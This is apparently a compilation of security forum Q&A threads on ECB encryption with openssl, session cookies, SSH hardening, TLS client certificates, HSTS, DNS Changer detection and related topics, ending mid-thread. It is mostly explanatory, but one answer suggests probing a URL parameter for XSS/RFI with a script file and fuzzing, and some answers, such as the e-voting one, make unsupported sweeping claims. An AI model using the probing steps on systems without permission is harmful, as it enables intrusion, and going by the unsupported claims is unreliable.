Why encrypting with ECB block cipher mode provides different result? I'm playing around with openssl command line to verify my understanding on block cipher mode.
I read that ECB block cipher mode always encrypt the same text to the same output.
AES operates on 16 bytes block, independently on the key length while DES operates on 8 byte blocks.
So I tried the following examples expecting the same block in the output to be repeated twice, but that's not the case.
➜ echo -n "1234567890abcdef1234567890abcdef" |  openssl enc -e -aes-256-ecb | hexdump
enter aes-256-ecb encryption password:
Verifying - enter aes-256-ecb encryption password:
0000000 53 61 6c 74 65 64 5f 5f 03 9a 3d 27 b9 9b f2 c6
0000010 c5 e3 3d 77 ca 4f df aa 90 aa d1 b8 22 04 43 c3
*
0000030 75 c8 72 0c 54 33 30 73 0a f1 8d 5a 17 f2 64 de
0000040
➜ echo -n "12345678123456781234567812345678" |  openssl enc -e -des-ecb | hexdump
enter des-ecb encryption password:
Verifying - enter des-ecb encryption password:
0000000 53 61 6c 74 65 64 5f 5f 64 00 a6 ee 5c f5 a0 b8
0000010 c3 3c 57 65 4a 0c 37 81 c3 3c 57 65 4a 0c 37 81
*
0000030 9e 37 2c cf f9 27 74 fb
0000038

In the first example, the input is 32 bytes, and the first 16 bytes are the same as the last 16 bytes, which is the block size of AES. Given that I'm using ECB, I'd expect the same ciphertext in the output twice.
In the second example, the input also 32 bytes, and it's composed of the same 8 bytes (1-8), which is the block size of DES. Same assumption here
Not only I don't see a repetition, but I noticed that the first 8 bytes are the same between AES and DES.
Also, why does openssl asks for a password? It that used to generate the key?
Thanks a lot.
EDIT: clarified the example

The reason that you are seeing different outputs each time you use openssl enc -e -aes-256-ecb to encrypt the same plaintext with the same password is because openssl is using a different random salt each time you run it.  The salt is combined with the password to derive the encryption key, which is fed into the aes-256-ecb algorithm.
If you specify the encryption key directly (instead of deriving an encryption key from a password as you are doing), using the -K option, you should see that openssl enc -e -aes-256-ecb produces the same result each time given the same plaintext and same key.  For example, the command below produces the same output each time you run it:
echo -n "1234567890abcdef1234567890abcdef" |  openssl enc -e -aes-256-ecb -K dba50aff3f87d7d41429f9b59380ac539cc62a89adfdefcd5157015e0e768382 | hexdump

When specifying a password instead of a key with openssl enc, the first eight bytes in the output are the ascii codes for the string 'Salted__'.  openssl puts this in the output to denote that the next eight bytes are the salt.  You can verify this by running echo -n '53616c7465645f5f' | xxd -p -r.  This produces Salted__.
For more info on all of the above, see Where is the salt on the OpenSSL AES encryption?.


Will GCIH help me in my career path? I am into non-functional (performance) testing for 12 years. I am planning to move to pen testing with GCIH certification. Can I get a fresh start in pen testing after this?

TLDR: No. Start reading and go for a OSCP or SANS 560.

If you are moving into pen-testing it would be best for you to have more than just a GCIH. If you already have your GCIH it means that you are at least above beginner. I recommend taking the follow steps.

1.http://overthewire.org/ | This site is great for practice in understanding all things that might be done at a high level. I recommend at least finishing all the bandit levels.

2.https://www.vulnhub.com/resources/ | This should be your home for a little while. read it love it.

Sign up for OSCP.

I would imagine that it should take at least 3 months before your ready to signup for OSCP and probably 1 or 2 months before you are able to pass.

Cheers, CND


Is it ever appropriate to fight back? When an website or system is being attacked, is there ever a scenario where it should automatically take action against the attackers rather than just passively handling the attack? If so, what responses are appropriate and legal? Are there any examples (good or bad) of this happening in the wild?

Passive scanning such as determining geo location, IP address, network routes is probably a good idea (to give you an understanding of where attacks are originating from).

Update:
Actually for larger institutions this is kind of essential in determining whether the attack is a large scale organised attack or simply a lone hacker testing out the defences. Either way it will probably be distributed. In either case it will provide useful information for further locking down the firewalls.

Depending on the legal framework of the country you live in, retaliating to an attack with a active network attack of your own (such as DOS or virus) would constitute an illegal act.


Would this be considered an XSS or an RFI or nothing? I'm a beginner network security student and as practice my dad let me look over his personal business online store website.

I found a script called image.asp which when fed a file parameter returns a thumbnail of an image.

Edit:
It's used for creating thumbnails of products in his store.

Example:
www.example.com/image.asp?file=http://cdn.redalertpolitics.com/files/2012/09/football-300x199.jpg

My question is this considered an RFI , XSS or nothing to be worried about? Should I even tell dad about it?

Thanks

-J

It's hard to say without seeing the code from image.asp or being able to play with the page itself.  If you can't post the code here, you can always do a very basic test on your own by providing the URL of a simple javascript file that contains an alert as the image parameter.  Again - this is a very basic test.  For a more comprehensive test, try doing some fuzzing with a tool like burp suite and understand what you should be looking for.

If you load the page with this parameter and you see an alert, then the site would be vulnerable to either reflected XSS or RFI.

This basically means that someone would have to click on a maliciously crafted link in order for the attack to take place.  It isn't as bad as stored XSS, but is is still very serious.


Looking for a way to encrypt/decrypt data using a generated key that works in Windows and Linux I am looking for a way to encrypt/decrypt data on windows and linux platforms. The data gets encrypted in windows and the same data needs to be decrypted on linux/windows and vice versa.

I understand I need a key to encrypt/decrypt data and have general familiarity with symmetric/asymmetric encryption.
What I am wondering is if there is a way to do the above without storing the key anywhere. I saw lot of discussion threads that assume you are storing the key somewhere secure.

Is it possible to generate a symmetric key based on secret password that only my code knows about and use it for this purpose?
I don't want to store the key anywhere. On each boot up, the key that is generated based on secret password should be able to decrypt data that was encrypted by generated key from previous boot up. Similarly I should be able to encrypt data with this key for later sessions to decrypt.

I read about PBKDF2. It is not clear to me whether it is meant for comparing password hashes or for doing something like above.

I appreciate if you can point me to examples.

Thanks

Different programs can encrypt data without storing a key somewhere, but rather a password. Zip/rar files can be encrypted, or instance, and programs like TrueCrypt or VeraCrypt can do the same. The file gets encrypted and protected with a password. You need the program on the destination location in order to decrypt.

If you want to create your own program, then according to your question, the "key" is stored in your code. You have the same key storage issues in code as you do in any other key storage scenario.


Does the NSA/CIA have the capacity to crack AES? I doubt anyone knows if they actually have this technology for certain, but from a technical perspective, does this seem like something the big agencies would have access to? AES has been out almost 20 years, I would find it unbelievable security agencies wouldn't have cracked it by now. Does anyone have any bearing on this?

Major government organizations which have the task to help their countries companies and protect the local economy still recommend to use AES. I doubt that they would provide this recommendation if they would assume that other organizations might be able to crack AES.

  AES has been out almost 20 years, I would find it unbelievable security agencies wouldn't have cracked it by now.

While the age of the algorithms might suggest that somebody must have cracked it in the meantime it might also be an indicator that the authors have created  a very good algorithm.


TLS: how and when is the client's certificate used? I read this article, but I did not understand how and when the client's certificate is actually used to do anything.
As far as I understand, "normal" TLS works like this:

Some unencrypted handshake shenanigans
Server sends their certificate, basically their trusted public key
Client encrypts a symmetric key with the server's public key
Client sends over the encrypted symmetric key
Now client and server can communicate privately via the shared symmetric key

When a client certificate is used, it starts like this:

Some unencrypted handshake shenanigans
Server sends their certificate, basically their trusted public key
Client sends their certificate, basically the client's trusted public key
???

Now what? What does the server do with the client's public key?
One way it could work, I suppose, is that from now on the client encrypts all messages with the servers public key and the server encrypts all messages with the client's public key. In this case, no symmetric key would have to be generated.

The reason you want to use a client certificate is for additional authentication.
The handshake works a bit like this:

The client sends the ClientHello.
The server replies with the ServerHello, which includes that the server wants to see a certificate from the client. Optionally, the server also includes details on which certificate authority the client certificate should be signed by. This is useful for clients automatically selecting the correct certificate out of many, but clients are free to ignore this.

What happens now depends on how the server is configured. There are several possibilities:
1. The server expects a certificate signed by a specific Certificate Authority.
The server has the certificate of a certificate authority (usually an internal one) and the server checks whether or not the certificate sent by the client was signed by this certificate authority.
This means that any client who does not possess a certificate signed by this specific (internal) Certificate Authority cannot make a connection to the server.
2. The server offers an optional client certificate.
This means that the client can send a client certificate, but the connection is not aborted if no client certificate is sent. Usually, in such cases, the certificate data (or lack thereof) is passed onto the application layer for processing.
For example, access to example.com does not require a client certificate, but access to example.com/admin/ does require a client certificate. Parsing of the URL path can however not be done purely through TLS and requires a HTTP server. So all the TLS library can offer is an optional certificate and the HTTP server needs to determine if it's valid and if the path requires it.
3. The client sends the wrong client certificate
For example, the server may require a client certificate signed by Example Corp. Root CA, but the client sends a client certificate signed by Attacker Corp. Internal CA. The server doesn't care about that, and rejects the certificate and ends the connection.

Also it should be noted that when I say a participant "sends a certificate", it's not just the certificate they send. There is also a validation that the participant possesses the associated private key.


Account switcher in browser implementation and secure design I am trying to understand how websites implement in-browser account switcher.
e.g you can login to twitter using multiple accounts. On the bottom left when you click your currently logged in account, if you have multiple accounts, you can see them all and simply switch by clicking a different one.
How does this work? Typically, once you login, you get a session cookie. So each time you visit twitter this cookie gets sent over automatically. But in case of multiple accounts, how does the browser store these two separate cookies for the same domain ?
Is it in the same cookie ? If so, isn't that a security risk ? How does the web app switch the user session ?
I checked local/session storage and both have same data for twitter dot com. Twitter also uses Authorization header but the value is same for both accounts.
So now im kinda bummed out tryng to figure out how account switching works.

I'm not sure how it works in your specific case but you are asking about a more general case anyway.
The basic problem you seem to have that you could not understand how a single cookie/token could be used with multiple users. But a cookie/token does not need to contain any actual user related information in the first place, it can just be a key which points to these information at the server side. And which information are currently associated with this key are fully controlled by the server.
A simple implementation could thus keep the current session state (which includes which users are logged in) at the server side and only associate it with the current/token. When receiving the cookie/token the server simply looks up the associated information, i.e. if it is valid at all and which user is currently associated with it. When switching the user simply different information would be associated with the same cookie/token.


E-voting: receipt-free, verifiable, and anonymous Background

In response to a system design concept, a question was posed:

  How do you achieve electronic voting, anonymity, and verifiability at the same time?

I was informed that most experts in the field believe it to be practically impossible (see Jonker et al.). My understanding was that this was solved through systems such as Civitas and its secure language Jif.

Questions

My questions are:

Are e-voting systems having anonymity and verifiability with high coercion-resistance possible?
What are the findings from latest research?
What are the most reputable journals in this field of study?
Optionally, how do homomorphic encryption and zero knowledge proofs relate to anonymity?

Related

I have read a fair amount, but do not wholly understand the implications. Nor am I certain that I have found the latest research on this subject.

Articles

Privacy and verifiability in voting systems: Methods, developments and trends
An efficient multi-receipt mechanism for uncoercible anonymous electronic voting
Pseudo-Voter Identity (PVID) Scheme for e-Voting Protocols
Election Verifiability in Electronic Voting Protocols
Coercion-resistance and receipt-freeness in electronic voting
Receipt-Free Homomorphic Elections and Write-in Voter Verified Ballots
Multiplicative homomorphic e-voting
A homomorphic encryption-based secure electronic voting scheme
A Secure and Anonymous Electronic Voting Scheme Based on Key Exchange Protocol
A Receipt-free Coercion-resistant Remote Internet Voting Protocol without Physical Assumptions through Deniable Encryption and Trapdoor Commitment Scheme

Security.SE

Homomorphic encryption used for e-voting?
Can a zero knowledge proof of voting be made using a trusted auth server (without client side crypto)?

Being anonymous, verifiable and reciept-free at the same time is impossible. Of course, there will be kept some records and logs for verification purposes. You have to be seen(logged) for maintaining the rights of one person one vote. If it really is completely anonymous, anyone from anywhere in the network can vote any amount of times without getting caught. Being logged is a price you have to pay.

But still, if you don't want that, there is a darker way.


Should a pentest report include the tester's opinion? In this particular case, the webserver turned out to be a shared 3rd party system and was not tested.
Examples:

We do express grave concern at the overall security posture of that webserver and the possible exposure to $client
In general, it is our feeling that $client is a low-profile, yet high-value target for attack. The public information available about the value of funds managed by the company combined with the number of 3rd party vendors and weakness of the company website might motivate an attacker, with awareness of the company.

Is that language appropriate to include?

In general, the three most valuable layers of penetration test reporting are:

Technical - What the problem is, how to repeat it, and how to fix: this is what the IT/Dev team will require and should be in technical language
Business - What does each vulnerability mean to the organisation in terms of business risk, impact, loss etc. - this needs to be in language a risk officer, FD or CIO can understand
Experience - This is the bigger picture based on experience with the client, in the industry, and in looking at long term trends and new threats. This should be aimed at the board and should provide strategic guidance

Opinion is usually too strong a word, as it can mean something quite strong, especially in an audit setting, which may mean you take on a high liability!

In your specific example, without further context, I would say the wording seems reasonable, and can help to raise the profile of an area they may have overlooked, and at least get on the radar from a risk perspective (what they then do with it is a business decision)


How do modern browsers isolate different addons? A user may have multiple addons installed on a browser. But typically, the browser is running in userspace with an unprivileged uid. I was wondering how modern browsers can, in such a setting, provide an infrastructure so that different addons are properly isolated.

Informally speaking, isolation means one addon cannot read another addon's data, nor interfere with another addon's execution.

What kind of technology is being used here? Browser addons are typically implemented in JavaScript. Is the isolation provided by the JavaScript engine or at a different layer? What kind of support does the browser need from the underlying operating system and hardware?

Addons perform actions through a specific API provided by the browser. They do not run on their own as separate processes completely independent of the browser itself. It is entirely up to the browser to limit the API so a given addon or extension can only access features that it has permission to access and so that it can only access filesystem data that is intended for it. The browser itself does not actually need any specific hardware support (such as virtual memory management), since the addon is not executing arbitrary code directly on the processor.

The specific API depends on the browser. The Mozilla Firefox WebExtension API is different from the Google Chrome API. Any code running as an addon must use this API to request to access resources it does not own. For example accessing a file on the filesystem requires the script to request a service from the browser. It is up to the browser to refuse that service (whether because the browser itself cannot access the resource, or because the addon itself does not have sufficient permissions), or to grant it. The addon is powerless to contest this decision.


How to determine whether the redirect link is secure or not? I am checking about the security of redirect link, For the below link , how to determine whether it is secure?

For the first link, the users are not allowed to change the url in the browser, but they can copy the url down, open a new tab and paste it and change the value (but it is useless for attacking?)

For the second, it is a return path and the users can change it to any other value

Example redirect link 1

Example redirect link 2

You didn't explain what you mean by secure, so it is hard to answer your question.  Please see the FAQ for advice on how to ask questions.

But that said, here are some resources on general risks with open, unrestricted redirects:

Open redirect vulnerabilities, pp.43-45 of Insecure magazine
OWASP on open redirects
Open redirect CWE description
An argument that open redirects are not a problem, or at worst are a minor issue
Example of an open redirect used for phishing
A mailing list with some thoughtful discussion on whether open redirects are really a serious problem or not
An example of a XSS attack on many forums that was facilitated by an open redirect in Youtube

These may help understand the potential security risks associated with open redirects.

Please understand that there is debate about whether open redirects are a serious problem worth worrying about or not.  Many people would say that they pose little risk to the site that hosts the open redirect and aren't worth too much energy to fuss over.


ISO27000 implementation - Where do you get the standardization material? In implementing ISO27000 (ISO27001&27002) I am wondering where I can download and review the standard? I wish to start implementing it but I am a bit stumped on where to start.

Some sites offer to sell some PDF's that supposedly includes best practices on implementing the standard, but right now I need to review the standard and make up my own opinions on how to start implementing it.

The official route for documentation is through ISO:IEC - and papers cost 134 Swiss Francs each.

Various bodies have guidance papers, for example ISACA provide a range of ISO27001 material on topics such as implementing ISMS, aligning Cobit, ITIL and ISO27001 - but you have to be an ISACA member (if you need to, ask me how :-)

Alternatively, you can engage consultants to go through your needs and gain an understanding of what you might need to do. As an example, I have helped many large organisations align their security function with ISO27001:2005 - not to gain accreditation, as that can often be expensive overkill, but to gain the advantages a governance and security framework based on ISO27001 gives you.

You can, however, get a lot of good information from some free sources:

http://www.itgovernance.co.uk/iso27001.aspx has a good ISMS guide and both the briefing paper and ISO27001 explained are worth a read.
http://informationsecuritymanagement.co.uk/iso-27001-guide.php?gclid=COu59YiXgLECFZA24Qod4HK_6w also provides a free guide to achieving certification


How to prevent expired cookies from maintaining accesss? My company has a website that was recently the target of a security audit.  They found that if a hacker had obtained the browser cookies used by our .NET website for authorization, that those cookies could be used to access the site even after the user they were created for had logged out by manually reinserted the cookies into their browser.

Does expiring a cookie change the cookie itself so that the .NET website knows it's expired, and if so, how does .NET (or a website in general) know that the un-expired cookie the hacker obtained is now expired.

How do sessions work?

Before you can understand the issue, you need to have an understanding of how sessions work.

The most common way to manage sessions is to send the browser a cookie with a random, unpredictable value when they log in, and map it to some data on the server:

User POSTs login info
Server validates login info, creates random string 2c64279f045bcb64ea8cd4d576514545, maps it to some data:

2c64279f045bcb64ea8cd4d576514545: {userId: 123, username: "johndoe", otherdata: ...}
Server tells browser to store 2c64279f045bcb64ea8cd4d576514545 as a cookie that will eventually expire
The browser sends the cookie with every request to the server, so the server can see who is making the request

How does session expiration work?

Since the cookie data is used as a lookup value on the server, just expiring the cookie isn't enough. Anyone could copy the value and the server would have no idea that it should have expired. Session expiration must happen server side. How this is done depends on the language and framework you are using. I've not personally used .NET, but this may be relevant.


Should the password field be cleared after an unsuccessful login attempt? Let's assume following workflow for logging in

a) On a device with keyboard:

I type my username and password
Press enter
[realization] I made a typo
Password field is cleared: not a big deal, I can type reasonably quick

b) On a device with touchscreen

I type my username and password
Press "logon"
[realization] My password is "password2013", not "password2012"
Password field is cleared: now we are talking - I would rather have my * * * * * values so I could just correct single character rather than typing whole password again, on some occasions even my username is cleared which is a complete waste of time

Few questions here:

Is it valid user experience point to have asterisks retained in the password field?
Is there any reason to clear field values or is it just pure laziness not to feed them back after round-trip to server?
When using AJAX forms - would you preserve or clear the values?
Does it make sense to use hybrid approach - preserve values and clear them after arbitrary timeout?

Is there a security risk to leave password as * * * * * ?

I leave my computer, attacker sees my open tab and can retrieve my wrongly typed password: http://jsfiddle.net/stefek99/2Uh9T/ BUT [logic kicks in] if an attacker has access to my computer there are more efficient ways of harming me than peeking the wrong password :)

Existing examples:

Windows 7 logon screen - password is cleared
Mac OS X logon screen - password is preserved

Should the password field be cleared after an unsuccessful login attempt?

It should be cleared.

It's not that uncommon a situation where a user enters the password, hits "log in", and wanders off for a bit, doing other things. It has certainly happened to me where I have attempted to log in to GMail, and come to know of the failed login an hour later. There are also systems (sudo apt-get -y install comes to mind, though in this case the failed password attempt isn't retrievable) where you need to just authenticate and then forget about it --

In the GMail situation listed above, someone could easily get the plaintext password (well, the typo'd version, but usually it's easy to fix that) if I got up from my computer in that hour.

  if an attacker has access to my computer there are more efficient ways of harming me

There's much more havoc that can be wreaked if an attacker knows the password than in the case where the attacker is just logged in, usually.

However, this really depends on the system. For a desktop login screen, it doesn't matter much as long as the password field isn't copyable. For online services, it matters a lot more.


passphrases - lowercase and dictionary words Amid all the discussion about password length vs. complexity (summarized by the famous xkcd strip and the followup dicussion) I am trying to make up my mind about passphrases made up with dictionnary words.

I understand the various calculations for brute force attacks -- would you know of a reasonable study about passphrases which would be made from dictionnary words?

I was namely wondering about a policy with a minimal length of, say, 13 characters - all lowercase. I expect to end up with phrases like volleyballisfantastic. This is 3 words. If the phrase is in English or French, they would average at about 4 words.

Since one of the reasons to move to a passphrase would be to go away on some systems from throttling mechanisms (lock the account for 10 min after a failed login or exponentially change the time in between login prompts), I wonder if dictionnary attacks would not be way more successful on such passphrases.

Thanks for the thoughts or pointers to existing studies (I googled around and what I found are discussions about pure bruteforce).

I would say that this isn't strictly a dictionary attack, since you're not testing words in a dictionary, but strings of words. It's really a brute force with a different "character" set. That lets you use regular entropy calculations.

If the attacker brute forces the password it as if it were a string of lower case characters, then it's 13 long and each token is one of 26 choices. That's 61 bits of entropy.

If the attacker brute forces it as if it were a series of lower case words from the english dice ware list, then it's 4 long, 7776 choices, so 51 bits of entropy. Or, if the attacker brute forces it as lower case words from the OED, 4 long, 181,000 choices, which gives you 70 bits.

Since most people would not use obscure words, in your example, you'll be closer to 50 bits than 60, so a dictionary attack would give better results. 13 characters of random letters would be theoretically much stronger than four words.

(Non-theoreticaly, of course, a password rule requiring 13 characters of gibberish just means post-it notes on monitors.)


What is reverse social engineering? What is reverse social engineering? Is it something different from normal social engineering?

Reverse social engineering (RSE) can mean two things - attack where attacker is trustworthy entity (case 1) or attack where attacker becomes victim (case 2).

When we talk about case 1 there are usually three stages of attack. Stage one is called sabotage where initial damage is made. Stage two or advertise is where attacker gains trust of victim and pursue him/her he is the one who can solve problem they have (made in stage 1). Stage three (assist) is where the attacker gains information/property he needs.

Advantage of RSE is that attack is much harder to discover. On the other hand, main disadvantage is complexity.

The best defense against this type of SE (social engineering) is to use trustworthy companies to do whatever job you need to outsource. Also, background checking on persons who has access to your critical areas can prevent such attacks.

Case 2 is situation where initial attacker becomes victim. However, this types of SE is highly unlikely to happen in business environment and it's mostly found in military (or to use fancy word - counterintelligence).

Example of this kind attack could be so called "Reverse sting" where when attack is recognized victim can preform attack on initial attacker or he can redirect attacker to someone who knows how to counter him. E.g. attackers calls front desk and asks for information X. Instead of giving him information X, front desk redirects call to security department.
Other example of case 2 RSE is where attacker is fed with false data (law enforcement agencies often preform this attack).


How to assess damage on compromised SSH server on personal computer Due to a stupid oversight on my side, I have opened my personal computer running Linux to the public internet for a little over 48 hours. Unfortunately, I realized my mistake too late and found several successful brute forced login attempts in my system log, from IP addresses from all over the globe. Furthermore, the user they used to log in had root access. The sessions only lasted a second each, so I assume these were automated accesses from bots scanning the internet for open SSH servers.

Here is an example entry from my system log:

Jul 01 16:17:51 hostname sshd[21370]: Accepted password for user from 146.0.XXX.XXX port 50424 ssh2
Jul 01 16:17:51 hostname sshd[21370]: pam_unix(sshd:session): session opened for user user by (uid=0)
Jul 01 16:17:51 hostname sshd[21370]: pam_unix(sshd:session): session closed for user user

Now please, do not ridicule me - I have realized the gravity of my mistake and I consider my computer fully compromised. I will setup a fresh install, carefully recover data from backups prior to the infiltration and change all my passwords and keys.

What I would like to know is how to assess the damage that was caused. Can I possibly look into the commands run by those bots and the data accessed by them? Unfortunately, .bash_history does not contain any new entries for my user or the root user. Since the sessions only lasted a second each, I hope that they could not have downloaded much private data from my hard drive?

The fact that ssh connection was open for a short time does not tell anything about the damage. May be some malicious daemon was installed and your information was accessed or downloaded later on, without ssh or scp or similar tools.

.bash_history may have been manipulated. That's why no new entries does not mean no command was executed.

You can exactly assess damage only if you have saved your full network traffic since that time and if you can decrypt it. Otherwise we can only speak about probability and risk.


Gathering network device data for security detection purposes I've finally gotten the networking team to start sharing data on the devices they manage (routers, firewalls, VPN, NAC, etc), so we can get better insight into our network and focus more on detection.

In a best effort to not create a fire-hose of discarded logs. I want to approach this in the most efficient manner possible.

I wanted to seek advice from the community as this is a new-ish topic for me.

We are in the process of getting a SIEM, and my first thought is to work with the networking team to determine what syslog from said networking devices above (sent to the SIEM) would be useful for our needs.

I was wondering how everyone else approaches this area?
Is it normal for security personnel to have direct access to firewalls, NAC interfaces, etc? or is a syslog output for what we actually want more appropriate?

When starting an SEIM project, a step-wise approach to security events management is a good approach EG inventory and prioritize your infrastructure, and rate each device according to its security impact/exposure. For example, you will get more detailed security event information from a firewall than from a router. Likewise with web access logs, OS level event logs and HIDS.

  Is it normal for security guys to have direct access to firewalls, nac interfaces, etc

That depends on the organization and security processes. Firewall configuration may be left to network administrators, while security operations may be responsible for monitoring logs and auditing policy changes, while having no direct access to their configuration.

  is syslog output for what we actually want more appropriate?

At this step in your process, yes logs represent the main data source for your SEIM implementation. The biggest challenge in aggregating logs for use in SEIM is filtering out noise, and focusing on real security event signatures, in order to eliminate false positives, and avoid the "firehose" effect you mention.

As a suggestion, at this step, consider log aggregating services like PaperTrail and Splunk. You quickly get a view of all your log events and formats in realtime, and can begin to define filters, and generally understand what log data will be critical for your SEIM implementation.


Impersonated user using JSessionID for session puzzling or session hijacking Is JSessionID considered for Session Variable Overloading (also known as Session Puzzling)?

A java web application is deployed in HTTPS
An admin user logs to the application. After login, a new JSessionID is issued.
Another non-admin user manages to get that admin user JsessionID
Using that Jsession Id the non-admin user performs some admin function.

Can it be considered as session puzzling?

Thank you. It is actually session hijacking. So anyone having admin user JSessionID can impersonate and perform admin function. To mitigate the session hijacking issue following measures can be taken

Have XSS validation in place for your application
change your JSessionID after login ie avoid session fixation
Provide strict transport layer security ie deploy your application in HTTPS (SSL/TLS)
The seesion time out should b reduced as much as possible
The cookies should be set to HTTPONLY and secure.
OWASP Recommendation


Hardening SSH security on a Debian 9 server I am running the following version of GNU/Linux Debian:

cat /etc/issue

says:

Debian GNU/Linux 9

Using the following kernel:

uname -r

says:

4.9.0-2-amd64

And running the following version of OpenSSH:

apt-cache policy openssh-server | grep Installed

says:

Installed: 1:7.4p1-7

My intention is to harden a little one server's SSH security, since I need to have access from any IP, even from any VPN.

These steps I have done so far:

Disabling direct root access:

cat /etc/ssh/sshd_config | grep PermitRootLogin

is set to:

PermitRootLogin no

Enforcing SSH protocol version 2:

cat /etc/ssh/sshd_config | grep Protocol

is set to:

Protocol 2

Changed port to a random one, which I will not write here, so say 12345:

cat /etc/ssh/sshd_config | grep Port

is set to:

Port 12345

I have punched hole in firewall for it:

sudo iptables -A INPUT -p tcp -m tcp --dport 12345 -m comment --comment "ssh" -j ACCEPT

I have generated a new key of 8 kilobits length (I am aware of the CPU overhead and other disadvantages of such a large key):

ssh-keygen -t rsa -b 8192

I have then verified the size matches:

ll /home/fictional_user/.ssh/id_rsa*

is as it should be, as well as the access rights:

-rw------- 1 fictional_user fictional_group 6.3K Mar 16 11:53 /home/fictional_user/.ssh/id_rsa
-rw-r--r-- 1 fictional_user fictional_group 1.4K Mar 16 11:53 /home/fictional_user/.ssh/id_rsa.pub

I have added this key and verified there is no other:

eval $(ssh-agent -s)
ssh-add
ssh-add -l

results in:

8192 SHA256:gibberish /home/fictional_user/.ssh/id_rsa (RSA)
8192 SHA256:gibberish fictional_user@fictional_computer (RSA)

I have imported the key to two machines, which will be maintaining the server:

ssh-copy-id fictional_user@public_ip -p 12345

Afterwards, I have disabled password authentication completely:

cat /etc/ssh/sshd_config | grep PasswordAuthentication

is set to:

PasswordAuthentication no

Question: Did I forget on anything or this is maximum I can do?

There are a number of things you can do:

Set up a private key that uses a key-stretching algorithm to protect brute-forcing the passphrase.
Configure AllowUsers in sshd so only named accounts can gain access
Use fail2ban or fwknop to further prevent outside attacks (remember that CVE-2008-0166 caused Debian users to generate only one of 32,767 possible keys)
Actively monitor your machine for attacks


Should it be best practice to force 301 redirect in addition to Strict-Transport-Security header? I've understood guidance to use Strict-Transport-Security header for connections over HTTP.

Now on the face of it, it seems like 301 redirecting HTTP traffic to come over HTTPS is intended to achieve the same effect. However, as we know from questions like Is an HTTP 301 redirect to HTTPS, insecure?, 301 redirects don't actually create perfect security.

So yes, 301 redirect doesn't really prevent MITM attack, but it does seem to me like it can help prevent eavesdropping attacks. So assuming we care about information disclosure of the server response, is there any reason it wouldn't be best practice to always 301 redirect incoming HTTP traffic in addition to using the Strict-Transport-Security header?

Yes, absolutely. If you implement HTTP Strict Transport Security (HSTS) you should also create an explicit redirect from HTTP to HTTPS. This will also benefit clients that didn't implement the HSTS standard.

If you want to submit your website to the HSTS Preload List this behavior is even mandatory:

  In order to be accepted to the HSTS preload list through this form,
  your site must satisfy the following set of requirements:

  Serve a valid certificate.
  Redirect from HTTP to HTTPS on the same host.
  Serve all subdomains over HTTPS. (...)
  Serve an HSTS header on the base domain for HTTPS requests: (...)

Note that the 301 redirect achieves not the same as HSTS. Both techniques redirect a user from HTTP to HTTPS but with HSTS the browser will remember to use HTTPS on that site until a specified timeout is reached. HSTS is trust-on-first-use, so a user is only vulnerable the very first time they ever enter mybank.com into the address bar. After that, an attacker cannot trick you into visiting the HTTP version again.

Related question: What's the difference between using HSTS and doing a 301 redirection?


Why is DTLS-SRTP more efficient for RTP/RTCP than just DTLS 1.2? While I understand the differences between DTLS-SRTP and pure DTLS, I cannot find much information on why exactly is DTLS-SRTP really "optimized" over generic DTLS 1.2.

RFC 5764's Introduction makes an obvious statement but without specifics anywhere in that document:

Datagram Transport Layer Security (DTLS) [RFC4347] is a channel
security protocol that offers integrated key management, parameter
negotiation, and secure data transfer.  Because DTLS data transfer
protocol is generic, it is less highly optimized for use with RTP
than is SRTP, which has been specifically tuned for that purpose.

I can see that in DTLS-SRTP the RTP sequence number eliminates the need to maintain another sequence number which DTLS requires. And yes, there are certain aspects like key generation for RTP, RTCP which is provided by DTLS-SRTP but in such functionality I do not see any optimization, merely convenience.

Can someone direct me to some source to read further? I am also surprised that there is no separate tag for SRTP or even DTLS on this security-specific site. I cannot create one because of lack of points.

The overhead of DTLS-SRTP is smaller than the overhead of RTP transported with DTLS. This is because the payload in DTLS-SRTP is actually SRTP and only the non-payload information (key exchange etc) are done with DTLS.

Transporting RTP inside DTLS instead adds additional timestamp and sequence numbers, which are already in RTP but which are added by DTLS too. Additionally the DTLS record layer has several more fields (content type, protocol version and length) which are actually not needed in the context of RTP/SRTP. For more information compare the definition of the RTP packet when wrapped inside the DTLS record layer vs. the definition of SRTP packet which is the payload transport in plain SRTP and also DTLS-SRTP.

In other words: DTLS-SRTP combines the efficiency of SRTP with the flexibility regarding session setup of DTLS.


How does DNS Changer malware detection work? This malware directs your computer to use DNS servers under control of the badguys. These DNS servers were taken over by the FBI. They were replaced with clean ones, to prevent service disruption, but this taxpayer funded service will be discontinued July 9.

Sites like Google, and dns-ok.us have some way of knowing whether you are infected with the DNS Changer malware, so they can warn you, help you fix the problem so you don't lose internet when July 9 arrives.

Am I correct in assuming that they use the following model to detect this?

The DNS servers the FBI replaced look up the IP address for an example domain. (such as dns-ok.us)
The dns-ok DNS servers know whether or not this is one of those DNS Changeer / FBI replaced servers. If it is, it provides the IP address for infected visitors, otherwise it provides the one for clean visitors.
Using the destination IP address of the incoming request, the web page is able to know whether to show the "you are infected" message.

This would require separate of one of the following for clean vs not clean

Separate servers
Separate network interfaces (physical or virtual, point is to hold separate IPs)
A router with different port forwarding for each of the two (types of) IPs.

Or is there a more elegant solution they are using? Or is FBI cooperation involved?

All of this depends on the DNS resolution. If the request goes through the 'good server', then you will get the green-page. If your settings are bad, you will get the red-page.

You can check your DNS settings by typing ipconfig /all in your command line.
Here you can see the list of the bad settings".

To check how it works you could use nslookup.

nslookup dns-ok.us 8.8.8.8 - this one returns Address: 38.68.193.96 and traffic goes through the 'good server'.

nslookup dns-ok.us 64.28.176.0 - this one returns Address: 38.68.193.97 and traffic goes through the 'bad server' (from linked list).

Now type that addresses into your URL bar:
http://38.68.193.97
http://38.68.193.96
and compare the results.


TLS 1.2 mutual authentication certificate based standard I'm running an analysis on a TLS1.2 mutual authentication certificate-based client-server implementation and I'm wondering if there's a RFC or a reference document covering the handshake process when it comes to mutual authentication between server and client.
I'm interested in the packets / messages exchange between client and server under the different cases (mutual auth successful vs. mutual auth failing).

Thank you.

The usual TLS RFC's like RFC 5246 cover the relevant handshakes already. Just look into the RFC and search for anything related to client certificates.


Outlook for Android uses intermediate Microsoft Servers I have an IMAP + SMTP server running on linux, using Dovecot + Postfix.
The server only accepts connections over TLS and uses plaintext authentication once the tunnel is established.

I was auditing the mail logs today and was concerned by unknown remote IP addresses shown for some IMAP logins. After some investigation, I found that the logins correspond to Outlook for Android clients.

I am satisfied that the logins are legitimate since:

no unauthorised mail has been sent
there have not been any failed login attempts
the behaviour has been consistent since the Outlook for Android clients were setup.
the remote IP addresses seem to be registered to Microsoft.

The remote IPs are in the blocks:

52.125.138.x
52.125.140.x
52.125.141.x

